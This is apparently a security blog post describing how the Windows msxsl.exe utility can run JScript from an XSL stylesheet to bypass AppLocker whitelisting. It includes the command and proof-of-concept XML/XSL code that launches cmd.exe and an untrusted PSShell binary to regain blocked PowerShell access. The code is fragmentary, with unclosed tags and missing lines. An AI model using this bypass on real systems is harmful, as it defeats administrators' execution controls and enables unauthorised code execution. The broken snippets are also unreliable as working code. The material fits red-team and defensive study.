According to Microsoft the msxsl.exe command line utility enables the user to perform command line Extensible Stylesheet Language (XSL) transformations by using the Microsoft XSL processor. However this binary can be used execute malicious JavaScript code and bypass application whitelisting protections. This was discovered by Casey Smith and proof of concept was shared with the community over twitter.

The msxsl utility accepts XML and XSL files. The following needs to be executed from the command line in order to run JavaScript code:

msxsl.exe customers.xml script.xsl


<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>


<?xml version='1.0'?>
<xsl:stylesheet version="1.0"

<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k C:\\PSShell.exe");
   return nodelist.nextNode().xml;

<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>

The utility needs to be run from a location on the system that the user has permission to execute. The same applies and for the untrusted binary PSShell which will provide PowerShell access even if PowerShell has been blocked by AppLocker.

AppLocker Bypass - MSXSL
AppLocker Bypass – msxsl
PowerShell - MSXSL
PowerShell via MSXSL

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s